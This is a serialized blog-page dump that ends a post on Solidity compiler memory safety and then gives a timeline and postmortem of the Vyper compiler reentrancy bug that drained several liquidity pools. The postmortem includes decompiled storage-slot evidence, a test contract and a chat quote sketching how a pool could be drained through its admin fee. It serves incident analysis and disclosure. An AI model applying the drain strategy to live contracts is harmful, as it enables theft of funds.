bodyCopier(_inlineAsm.operations());`\n",[30127],{"type":23,"tag":209,"props":30128,"children":30129},{"__ignoreMap":7},[30130,30170,30177,30190,30262,30283,30334,30341],{"type":23,"tag":213,"props":30131,"children":30132},{"class":215,"line":216},[30133,30137,30142,30147,30151,30156,30161,30166],{"type":23,"tag":213,"props":30134,"children":30135},{"style":230},[30136],{"type":28,"value":29741},{"type":23,"tag":213,"props":30138,"children":30139},{"style":220},[30140],{"type":28,"value":30141}," IRGeneratorForStatements::",{"type":23,"tag":213,"props":30143,"children":30144},{"style":257},[30145],{"type":28,"value":30146},"visit",{"type":23,"tag":213,"props":30148,"children":30149},{"style":220},[30150],{"type":28,"value":265},{"type":23,"tag":213,"props":30152,"children":30153},{"style":290},[30154],{"type":28,"value":30155},"InlineAssembly",{"type":23,"tag":213,"props":30157,"children":30158},{"style":230},[30159],{"type":28,"value":30160}," const&",{"type":23,"tag":213,"props":30162,"children":30163},{"style":268},[30164],{"type":28,"value":30165}," _inlineAsm",{"type":23,"tag":213,"props":30167,"children":30168},{"style":220},[30169],{"type":28,"value":2183},{"type":23,"tag":213,"props":30171,"children":30172},{"class":215,"line":226},[30173],{"type":23,"tag":213,"props":30174,"children":30175},{"style":220},[30176],{"type":28,"value":10964},{"type":23,"tag":213,"props":30178,"children":30179},{"class":215,"line":524},[30180,30185],{"type":23,"tag":213,"props":30181,"children":30182},{"style":257},[30183],{"type":28,"value":30184}," setLocation",{"type":23,"tag":213,"props":30186,"children":30187},{"style":220},[30188],{"type":28,"value":30189},"(_inlineAsm);\n",{"type":23,"tag":213,"props":30191,"children":30192},{"class":215,"line":533},[30193,30197,30201,30205,30210,30214,30219,30224,30229,30233,30237,30241,30245,30249,30253,30258],{"type":23,"tag":213,"props":30194,"children":30195},{"style":1362},[30196],{"type":28,"value":2653},{"type":23,"tag":213,"props":30198,"children":30199},{"style":220},[30200],{"type":28,"value":400},{"type":23,"tag":213,"props":30202,"children":30203},{"style":274},[30204],{"type":28,"value":1696},{"type":23,"tag":213,"props":30206,"children":30207},{"style":268},[30208],{"type":28,"value":30209},"_inlineAsm",{"type":23,"tag":213,"props":30211,"children":30212},{"style":220},[30213],{"type":28,"value":124},{"type":23,"tag":213,"props":30215,"children":30216},{"style":257},[30217],{"type":28,"value":30218},"annotation",{"type":23,"tag":213,"props":30220,"children":30221},{"style":220},[30222],{"type":28,"value":30223},"().",{"type":23,"tag":213,"props":30225,"children":30226},{"style":268},[30227],{"type":28,"value":30228},"hasMemoryEffects",{"type":23,"tag":213,"props":30230,"children":30231},{"style":274},[30232],{"type":28,"value":14259},{"type":23,"tag":213,"props":30234,"children":30235},{"style":274},[30236],{"type":28,"value":2658},{"type":23,"tag":213,"props":30238,"children":30239},{"style":268},[30240],{"type":28,"value":30209},{"type":23,"tag":213,"props":30242,"children":30243},{"style":220},[30244],{"type":28,"value":124},{"type":23,"tag":213,"props":30246,"children":30247},{"style":257},[30248],{"type":28,"value":30218},{"type":23,"tag":213,"props":30250,"children":30251},{"style":220},[30252],{"type":28,"value":30223},{"type":23,"tag":213,"props":30254,"children":30255},{"style":268},[30256],{"type":28,"value":30257},"markedMemorySafe",{"type":23,"tag":213,"props":30259,"children":30260},{"style":220},[30261],{"type":28,"value":2183},{"type":23,"tag":213,"props":30263,"children":30264},{"class":215,"line":543},[30265,30270,30274,30279],{"type":23,"tag":213,"props":30266,"children":30267},{"style":268},[30268],{"type":28,"value":30269}," m_context",{"type":23,"tag":213,"props":30271,"children":30272},{"style":220},[30273],{"type":28,"value":124},{"type":23,"tag":213,"props":30275,"children":30276},{"style":257},[30277],{"type":28,"value":30278},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":213,"props":30280,"children":30281},{"style":220},[30282],{"type":28,"value":3759},{"type":23,"tag":213,"props":30284,"children":30285},{"class":215,"line":551},[30286,30291,30295,30299,30304,30309,30313,30317,30321,30325,30330],{"type":23,"tag":213,"props":30287,"children":30288},{"style":220},[30289],{"type":28,"value":30290}," CopyTranslate bodyCopier{",{"type":23,"tag":213,"props":30292,"children":30293},{"style":268},[30294],{"type":28,"value":30209},{"type":23,"tag":213,"props":30296,"children":30297},{"style":220},[30298],{"type":28,"value":124},{"type":23,"tag":213,"props":30300,"children":30301},{"style":257},[30302],{"type":28,"value":30303},"dialect",{"type":23,"tag":213,"props":30305,"children":30306},{"style":220},[30307],{"type":28,"value":30308},"(), m_context, ",{"type":23,"tag":213,"props":30310,"children":30311},{"style":268},[30312],{"type":28,"value":30209},{"type":23,"tag":213,"props":30314,"children":30315},{"style":220},[30316],{"type":28,"value":124},{"type":23,"tag":213,"props":30318,"children":30319},{"style":257},[30320],{"type":28,"value":30218},{"type":23,"tag":213,"props":30322,"children":30323},{"style":220},[30324],{"type":28,"value":30223},{"type":23,"tag":213,"props":30326,"children":30327},{"style":268},[30328],{"type":28,"value":30329},"externalReferences",{"type":23,"tag":213,"props":30331,"children":30332},{"style":220},[30333],{"type":28,"value":16629},{"type":23,"tag":213,"props":30335,"children":30336},{"class":215,"line":570},[30337],{"type":23,"tag":213,"props":30338,"children":30339},{"emptyLinePlaceholder":18},[30340],{"type":28,"value":530},{"type":23,"tag":213,"props":30342,"children":30343},{"class":215,"line":655},[30344,30349,30353,30358,30362,30366,30370,30375],{"type":23,"tag":213,"props":30345,"children":30346},{"style":220},[30347],{"type":28,"value":30348}," yul::Statement modified ",{"type":23,"tag":213,"props":30350,"children":30351},{"style":274},[30352],{"type":28,"value":3190},{"type":23,"tag":213,"props":30354,"children":30355},{"style":257},[30356],{"type":28,"value":30357}," bodyCopier",{"type":23,"tag":213,"props":30359,"children":30360},{"style":220},[30361],{"type":28,"value":265},{"type":23,"tag":213,"props":30363,"children":30364},{"style":268},[30365],{"type":28,"value":30209},{"type":23,"tag":213,"props":30367,"children":30368},{"style":220},[30369],{"type":28,"value":124},{"type":23,"tag":213,"props":30371,"children":30372},{"style":257},[30373],{"type":28,"value":30374},"operations",{"type":23,"tag":213,"props":30376,"children":30377},{"style":220},[30378],{"type":28,"value":30379},"());`\n",{"type":23,"tag":131,"props":30381,"children":30382},{"start":226},[30383],{"type":23,"tag":135,"props":30384,"children":30385},{},[30386],{"type":28,"value":30387},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":24,"props":30389,"children":30390},{},[30391],{"type":28,"value":30392},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":47,"props":30394,"children":30395},{"id":2929},[30396],{"type":28,"value":2932},{"type":23,"tag":24,"props":30398,"children":30399},{},[30400],{"type":28,"value":30401},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":24,"props":30403,"children":30404},{},[30405],{"type":28,"value":30406},"It's a promise between YUL generation and optimization.",{"type":23,"tag":18473,"props":30408,"children":30410},{"className":30409,"dataFootnotes":7},[18476],[30411,30416],{"type":23,"tag":47,"props":30412,"children":30414},{"className":30413,"id":15540},[18481],[30415],{"type":28,"value":18484},{"type":23,"tag":131,"props":30417,"children":30418},{},[30419,30453],{"type":23,"tag":135,"props":30420,"children":30422},{"id":30421},"user-content-fn-1",[30423,30425,30430,30432,30438,30440,30445,30447],{"type":28,"value":30424},"As an interesting aside, ",{"type":23,"tag":209,"props":30426,"children":30428},{"className":30427},[],[30429],{"type":28,"value":29427},{"type":28,"value":30431}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":209,"props":30433,"children":30435},{"className":30434},[],[30436],{"type":28,"value":30437},"memory-unsafe",{"type":28,"value":30439}," code can ",{"type":23,"tag":87,"props":30441,"children":30442},{},[30443],{"type":28,"value":30444},"decrease",{"type":28,"value":30446}," gas consumption, especially in the YUL header. ",{"type":23,"tag":36,"props":30448,"children":30451},{"href":30449,"ariaLabel":18587,"className":30450,"dataFootnoteBackref":7},"#user-content-fnref-1",[18589],[30452],{"type":28,"value":18592},{"type":23,"tag":135,"props":30454,"children":30456},{"id":30455},"user-content-fn-2",[30457,30459,30464,30466],{"type":28,"value":30458},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":87,"props":30460,"children":30461},{},[30462],{"type":28,"value":30463},"guarantee",{"type":28,"value":30465}," behavior with opaque bytes. ",{"type":23,"tag":36,"props":30467,"children":30470},{"href":30468,"ariaLabel":18607,"className":30469,"dataFootnoteBackref":7},"#user-content-fnref-2",[18589],[30471],{"type":28,"value":18592},{"type":23,"tag":2957,"props":30473,"children":30474},{},[30475],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":30477},[30478,30479,30480,30481,30482,30483,30484],{"id":29072,"depth":226,"text":29075},{"id":29126,"depth":226,"text":29129},{"id":29389,"depth":226,"text":29392},{"id":29121,"depth":226,"text":29612},{"id":29958,"depth":226,"text":29961},{"id":2929,"depth":226,"text":2932},{"id":15540,"depth":226,"text":18484},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":30489,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30490,"description":30491,"author":5813,"image":30492,"date":30494,"isFeatured":18,"onBlogPage":18,"tags":30495,"body":30497,"_type":2967,"_id":31248,"_source":2969,"_file":31249,"_stem":31250,"_extension":2972},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":30493,"height":13703,"width":13703},"/posts/vyper-timeline/header.jpg","2023-08-01",[30496,29067],"vyper",{"type":20,"children":30498,"toc":31239},[30499,30504,30509,30514,30520,30525,30543,30553,30558,30566,30576,30595,30675,30685,30845,30850,30855,30865,30872,30877,30882,30896,30901,30918,30935,30954,30964,30977,30982,30995,31000,31005,31015,31042,31052,31082,31088,31097,31103,31108,31113,31118,31124,31129,31143,31148,31153,31158,31164,31169,31182,31208,31213,31235],{"type":23,"tag":24,"props":30500,"children":30501},{},[30502],{"type":28,"value":30503},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":24,"props":30505,"children":30506},{},[30507],{"type":28,"value":30508},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":24,"props":30510,"children":30511},{},[30512],{"type":28,"value":30513},"Here's how it all happened.",{"type":23,"tag":47,"props":30515,"children":30517},{"id":30516},"timeline",[30518],{"type":28,"value":30519},"Timeline",{"type":23,"tag":24,"props":30521,"children":30522},{},[30523],{"type":28,"value":30524},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":24,"props":30526,"children":30527},{},[30528,30533,30535,30542],{"type":23,"tag":95,"props":30529,"children":30530},{},[30531],{"type":28,"value":30532},"13:10 UTC",{"type":28,"value":30534}," pETH/ETH was ",{"type":23,"tag":36,"props":30536,"children":30539},{"href":30537,"rel":30538},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[40],[30540],{"type":28,"value":30541},"drained of $11M",{"type":28,"value":124},{"type":23,"tag":24,"props":30544,"children":30545},{},[30546,30551],{"type":23,"tag":95,"props":30547,"children":30548},{},[30549],{"type":28,"value":30550},"13:19 UTC",{"type":28,"value":30552}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":24,"props":30554,"children":30555},{},[30556],{"type":28,"value":30557},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":3036,"props":30559,"children":30560},{},[30561],{"type":23,"tag":24,"props":30562,"children":30563},{},[30564],{"type":28,"value":30565},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":24,"props":30567,"children":30568},{},[30569,30574],{"type":23,"tag":95,"props":30570,"children":30571},{},[30572],{"type":28,"value":30573},"14:01 UTC",{"type":28,"value":30575}," A warroom was formed around this comment.",{"type":23,"tag":24,"props":30577,"children":30578},{},[30579,30584,30586,30593],{"type":23,"tag":95,"props":30580,"children":30581},{},[30582],{"type":28,"value":30583},"14:07 UTC",{"type":28,"value":30585}," We decompiled the JPEGd contract ",{"type":23,"tag":36,"props":30587,"children":30590},{"href":30588,"rel":30589},"https://ethervm.io/decompile",[40],[30591],{"type":28,"value":30592},"with our favorite decompiler",{"type":28,"value":30594}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":202,"props":30596,"children":30600},{"className":30597,"code":30598,"language":30599,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[30601],{"type":23,"tag":209,"props":30602,"children":30603},{"__ignoreMap":7},[30604,30612,30620,30628,30636,30643,30651,30659,30667],{"type":23,"tag":213,"props":30605,"children":30606},{"class":215,"line":216},[30607],{"type":23,"tag":213,"props":30608,"children":30609},{},[30610],{"type":28,"value":30611},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":213,"props":30613,"children":30614},{"class":215,"line":226},[30615],{"type":23,"tag":213,"props":30616,"children":30617},{},[30618],{"type":28,"value":30619},"label_0057:\n",{"type":23,"tag":213,"props":30621,"children":30622},{"class":215,"line":524},[30623],{"type":23,"tag":213,"props":30624,"children":30625},{},[30626],{"type":28,"value":30627}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":213,"props":30629,"children":30630},{"class":215,"line":533},[30631],{"type":23,"tag":213,"props":30632,"children":30633},{},[30634],{"type":28,"value":30635}," storage[0x00] = 0x01;\n",{"type":23,"tag":213,"props":30637,"children":30638},{"class":215,"line":543},[30639],{"type":23,"tag":213,"props":30640,"children":30641},{"emptyLinePlaceholder":18},[30642],{"type":28,"value":530},{"type":23,"tag":213,"props":30644,"children":30645},{"class":215,"line":551},[30646],{"type":23,"tag":213,"props":30647,"children":30648},{},[30649],{"type":28,"value":30650},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":213,"props":30652,"children":30653},{"class":215,"line":570},[30654],{"type":23,"tag":213,"props":30655,"children":30656},{},[30657],{"type":28,"value":30658},"label_1AF3:\n",{"type":23,"tag":213,"props":30660,"children":30661},{"class":215,"line":655},[30662],{"type":23,"tag":213,"props":30663,"children":30664},{},[30665],{"type":28,"value":30666}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":213,"props":30668,"children":30669},{"class":215,"line":1176},[30670],{"type":23,"tag":213,"props":30671,"children":30672},{},[30673],{"type":28,"value":30674}," storage[0x02] = 0x01;\n",{"type":23,"tag":24,"props":30676,"children":30677},{},[30678,30683],{"type":23,"tag":95,"props":30679,"children":30680},{},[30681],{"type":28,"value":30682},"14:27 UTC",{"type":28,"value":30684}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":202,"props":30686,"children":30688},{"className":19515,"code":30687,"language":19514,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[30689],{"type":23,"tag":209,"props":30690,"children":30691},{"__ignoreMap":7},[30692,30700,30721,30756,30768,30775,30782,30801,30833],{"type":23,"tag":213,"props":30693,"children":30694},{"class":215,"line":216},[30695],{"type":23,"tag":213,"props":30696,"children":30697},{"style":257},[30698],{"type":28,"value":30699},"@external\n",{"type":23,"tag":213,"props":30701,"children":30702},{"class":215,"line":226},[30703,30708,30712,30717],{"type":23,"tag":213,"props":30704,"children":30705},{"style":257},[30706],{"type":28,"value":30707},"@nonreentrant",{"type":23,"tag":213,"props":30709,"children":30710},{"style":220},[30711],{"type":28,"value":265},{"type":23,"tag":213,"props":30713,"children":30714},{"style":246},[30715],{"type":28,"value":30716},"\"lock\"",{"type":23,"tag":213,"props":30718,"children":30719},{"style":220},[30720],{"type":28,"value":2183},{"type":23,"tag":213,"props":30722,"children":30723},{"class":215,"line":524},[30724,30729,30734,30738,30743,30748,30752],{"type":23,"tag":213,"props":30725,"children":30726},{"style":230},[30727],{"type":28,"value":30728},"def",{"type":23,"tag":213,"props":30730,"children":30731},{"style":257},[30732],{"type":28,"value":30733}," test",{"type":23,"tag":213,"props":30735,"children":30736},{"style":220},[30737],{"type":28,"value":265},{"type":23,"tag":213,"props":30739,"children":30740},{"style":268},[30741],{"type":28,"value":30742},"addr",{"type":23,"tag":213,"props":30744,"children":30745},{"style":220},[30746],{"type":28,"value":30747},": address) -> ",{"type":23,"tag":213,"props":30749,"children":30750},{"style":290},[30751],{"type":28,"value":29741},{"type":23,"tag":213,"props":30753,"children":30754},{"style":220},[30755],{"type":28,"value":5661},{"type":23,"tag":213,"props":30757,"children":30758},{"class":215,"line":533},[30759,30763],{"type":23,"tag":213,"props":30760,"children":30761},{"style":1362},[30762],{"type":28,"value":17040},{"type":23,"tag":213,"props":30764,"children":30765},{"style":230},[30766],{"type":28,"value":30767}," True\n",{"type":23,"tag":213,"props":30769,"children":30770},{"class":215,"line":543},[30771],{"type":23,"tag":213,"props":30772,"children":30773},{"emptyLinePlaceholder":18},[30774],{"type":28,"value":530},{"type":23,"tag":213,"props":30776,"children":30777},{"class":215,"line":551},[30778],{"type":23,"tag":213,"props":30779,"children":30780},{"style":257},[30781],{"type":28,"value":30699},{"type":23,"tag":213,"props":30783,"children":30784},{"class":215,"line":570},[30785,30789,30793,30797],{"type":23,"tag":213,"props":30786,"children":30787},{"style":257},[30788],{"type":28,"value":30707},{"type":23,"tag":213,"props":30790,"children":30791},{"style":220},[30792],{"type":28,"value":265},{"type":23,"tag":213,"props":30794,"children":30795},{"style":246},[30796],{"type":28,"value":30716},{"type":23,"tag":213,"props":30798,"children":30799},{"style":220},[30800],{"type":28,"value":2183},{"type":23,"tag":213,"props":30802,"children":30803},{"class":215,"line":655},[30804,30808,30813,30817,30821,30825,30829],{"type":23,"tag":213,"props":30805,"children":30806},{"style":230},[30807],{"type":28,"value":30728},{"type":23,"tag":213,"props":30809,"children":30810},{"style":257},[30811],{"type":28,"value":30812}," test2",{"type":23,"tag":213,"props":30814,"children":30815},{"style":220},[30816],{"type":28,"value":265},{"type":23,"tag":213,"props":30818,"children":30819},{"style":268},[30820],{"type":28,"value":30742},{"type":23,"tag":213,"props":30822,"children":30823},{"style":220},[30824],{"type":28,"value":30747},{"type":23,"tag":213,"props":30826,"children":30827},{"style":290},[30828],{"type":28,"value":29741},{"type":23,"tag":213,"props":30830,"children":30831},{"style":220},[30832],{"type":28,"value":5661},{"type":23,"tag":213,"props":30834,"children":30835},{"class":215,"line":1176},[30836,30840],{"type":23,"tag":213,"props":30837,"children":30838},{"style":1362},[30839],{"type":28,"value":17040},{"type":23,"tag":213,"props":30841,"children":30842},{"style":230},[30843],{"type":28,"value":30844}," False\n",{"type":23,"tag":24,"props":30846,"children":30847},{},[30848],{"type":28,"value":30849},"This was not just another reentrancy bug.",{"type":23,"tag":24,"props":30851,"children":30852},{},[30853],{"type":28,"value":30854},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":24,"props":30856,"children":30857},{},[30858,30863],{"type":23,"tag":95,"props":30859,"children":30860},{},[30861],{"type":28,"value":30862},"14:37 UTC",{"type":28,"value":30864}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":24,"props":30866,"children":30867},{},[30868],{"type":23,"tag":4009,"props":30869,"children":30871},{"alt":7,"src":30870},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":24,"props":30873,"children":30874},{},[30875],{"type":28,"value":30876},"It was a race with the hackers.",{"type":23,"tag":24,"props":30878,"children":30879},{},[30880],{"type":28,"value":30881},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":3036,"props":30883,"children":30884},{},[30885],{"type":23,"tag":24,"props":30886,"children":30887},{},[30888,30890],{"type":28,"value":30889},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":36,"props":30891,"children":30894},{"href":30892,"rel":30893},"https://twitter.com/hexagate_/status/1685677801813217280",[40],[30895],{"type":28,"value":30892},{"type":23,"tag":24,"props":30897,"children":30898},{},[30899],{"type":28,"value":30900},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":24,"props":30902,"children":30903},{},[30904,30909,30910,30917],{"type":23,"tag":95,"props":30905,"children":30906},{},[30907],{"type":28,"value":30908},"14:50 UTC",{"type":28,"value":6550},{"type":23,"tag":36,"props":30911,"children":30914},{"href":30912,"rel":30913},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[40],[30915],{"type":28,"value":30916},"msETH/ETH was drained",{"type":28,"value":124},{"type":23,"tag":24,"props":30919,"children":30920},{},[30921,30926,30927,30934],{"type":23,"tag":95,"props":30922,"children":30923},{},[30924],{"type":28,"value":30925},"15:34 UTC",{"type":28,"value":6550},{"type":23,"tag":36,"props":30928,"children":30931},{"href":30929,"rel":30930},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[40],[30932],{"type":28,"value":30933},"alETH/ETH was drained",{"type":28,"value":124},{"type":23,"tag":24,"props":30936,"children":30937},{},[30938,30943,30945,30952],{"type":23,"tag":95,"props":30939,"children":30940},{},[30941],{"type":28,"value":30942},"15:43 UTC",{"type":28,"value":30944}," We identified that ",{"type":23,"tag":36,"props":30946,"children":30949},{"href":30947,"rel":30948},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[40],[30950],{"type":28,"value":30951},"CRV/ETH was vulnerable",{"type":28,"value":30953},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":24,"props":30955,"children":30956},{},[30957,30962],{"type":23,"tag":95,"props":30958,"children":30959},{},[30960],{"type":28,"value":30961},"16:11 UTC",{"type":28,"value":30963}," We began working on a whitehat exploit.",{"type":23,"tag":24,"props":30965,"children":30966},{},[30967,30969,30976],{"type":28,"value":30968},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":36,"props":30970,"children":30973},{"href":30971,"rel":30972},"https://twitter.com/vyperlang/status/1685692973051498497",[40],[30974],{"type":28,"value":30975},"public statement on affected versions",{"type":28,"value":124},{"type":23,"tag":24,"props":30978,"children":30979},{},[30980],{"type":28,"value":30981},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":24,"props":30983,"children":30984},{},[30985,30987,30994],{"type":28,"value":30986},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":36,"props":30988,"children":30991},{"href":30989,"rel":30990},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[40],[30992],{"type":28,"value":30993},"somebody else stole the funds",{"type":28,"value":124},{"type":23,"tag":24,"props":30996,"children":30997},{},[30998],{"type":28,"value":30999},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":24,"props":31001,"children":31002},{},[31003],{"type":28,"value":31004},"Nevertheless, there was more ground to cover.",{"type":23,"tag":24,"props":31006,"children":31007},{},[31008,31013],{"type":23,"tag":95,"props":31009,"children":31010},{},[31011],{"type":28,"value":31012},"21:26 UTC",{"type":28,"value":31014}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":3036,"props":31016,"children":31017},{},[31018],{"type":23,"tag":24,"props":31019,"children":31020},{},[31021,31023,31027,31029,31032,31034,31037,31039],{"type":28,"value":31022},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":31024,"props":31025,"children":31026},"br",{},[],{"type":28,"value":31028},"\nyou can then update admin fee ",{"type":23,"tag":31024,"props":31030,"children":31031},{},[],{"type":28,"value":31033},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":31024,"props":31035,"children":31036},{},[],{"type":28,"value":31038},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":31024,"props":31040,"children":31041},{},[],{"type":23,"tag":24,"props":31043,"children":31044},{},[31045,31050],{"type":23,"tag":95,"props":31046,"children":31047},{},[31048],{"type":28,"value":31049},"21:52 UTC",{"type":28,"value":31051}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":24,"props":31053,"children":31054},{},[31055,31057,31064,31066,31073,31081],{"type":28,"value":31056},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":36,"props":31058,"children":31061},{"href":31059,"rel":31060},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[40],[31062],{"type":28,"value":31063},"CRV admin fee bot",{"type":28,"value":31065}," had claimed fees and ",{"type":23,"tag":36,"props":31067,"children":31070},{"href":31068,"rel":31069},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[40],[31071],{"type":28,"value":31072},"the pool was drained",{"type":23,"tag":15533,"props":31074,"children":31075},{},[31076],{"type":23,"tag":36,"props":31077,"children":31079},{"href":29679,"ariaDescribedBy":31078,"dataFootnoteRef":7,"id":29681},[15540],[31080],{"type":28,"value":4106},{"type":28,"value":124},{"type":23,"tag":47,"props":31083,"children":31085},{"id":31084},"blame",[31086],{"type":28,"value":31087},"Blame",{"type":23,"tag":24,"props":31089,"children":31090},{},[31091,31095],{"type":23,"tag":87,"props":31092,"children":31093},{},[31094],{"type":28,"value":31087},{"type":28,"value":31096}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":9693,"props":31098,"children":31100},{"id":31099},"races",[31101],{"type":28,"value":31102},"Races",{"type":23,"tag":24,"props":31104,"children":31105},{},[31106],{"type":28,"value":31107},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":24,"props":31109,"children":31110},{},[31111],{"type":28,"value":31112},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":24,"props":31114,"children":31115},{},[31116],{"type":28,"value":31117},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":9693,"props":31119,"children":31121},{"id":31120},"information-leakage",[31122],{"type":28,"value":31123},"Information Leakage",{"type":23,"tag":24,"props":31125,"children":31126},{},[31127],{"type":28,"value":31128},"I was both an auditor and a whitehat.",{"type":23,"tag":24,"props":31130,"children":31131},{},[31132,31134,31141],{"type":28,"value":31133},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":36,"props":31135,"children":31138},{"href":31136,"rel":31137},"https://twitter.com/osec_io/status/1579969927020412929",[40],[31139],{"type":28,"value":31140},"by publishing the \"scoop\"",{"type":28,"value":31142}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":24,"props":31144,"children":31145},{},[31146],{"type":28,"value":31147},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":24,"props":31149,"children":31150},{},[31151],{"type":28,"value":31152},"Half an hour more could have saved $18M.",{"type":23,"tag":24,"props":31154,"children":31155},{},[31156],{"type":28,"value":31157},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":47,"props":31159,"children":31161},{"id":31160},"next-steps",[31162],{"type":28,"value":31163},"Next Steps",{"type":23,"tag":24,"props":31165,"children":31166},{},[31167],{"type":28,"value":31168},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":24,"props":31170,"children":31171},{},[31172,31174,31181],{"type":28,"value":31173},"It's important to note that this bug ",{"type":23,"tag":36,"props":31175,"children":31178},{"href":31176,"rel":31177},"https://twitter.com/real_philogy/status/1685948253139857409",[40],[31179],{"type":28,"value":31180},"was patched since November 2021",{"type":28,"value":124},{"type":23,"tag":3036,"props":31183,"children":31184},{},[31185],{"type":23,"tag":24,"props":31186,"children":31187},{},[31188,31190,31195,31196,31199,31201,31206],{"type":28,"value":31189},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":87,"props":31191,"children":31192},{},[31193],{"type":28,"value":31194},"processes",{"type":28,"value":18583},{"type":23,"tag":31024,"props":31197,"children":31198},{},[],{"type":28,"value":31200},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it 